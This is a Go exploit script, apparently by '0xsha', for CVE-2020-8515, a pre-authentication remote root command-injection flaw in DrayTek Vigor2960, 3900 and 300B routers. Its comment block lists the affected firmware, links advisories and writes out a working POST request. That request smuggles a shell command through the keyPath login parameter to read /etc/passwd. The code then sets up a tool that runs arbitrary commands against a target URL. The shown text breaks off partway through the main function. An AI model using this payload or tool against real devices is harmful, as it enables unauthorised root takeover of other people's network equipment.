RCE, DrayTek Vigor, CVE-2020-8515

[CODE]
package main

/*
CVE-2020-8515: DrayTek pre-auth remote root RCE
Mon Mar 30 2020 - 0xsha.io
Affected:
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
and 1.4.4_Beta
You should upgrade as soon as possible to 1.5.1 firmware or later
This issue has been fixed in Vigor3900/2960/300B v1.5.1.
read more :
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
exploiting using keyPath
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: 1.2.3.4
Content-Length: 89
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fet c%2fpasswd%0A%27&loginUser=a&loginPwd=a
*/

import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"strings"
)

func usage() {

fmt.Println("CVE-2020-8515 exploit by @0xsha ")
fmt.Println("Usage : " + os.Args[0] + " URL " + "command" )
fmt.Println("E.G : " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"" )
}

func main() {

if len(os.Args)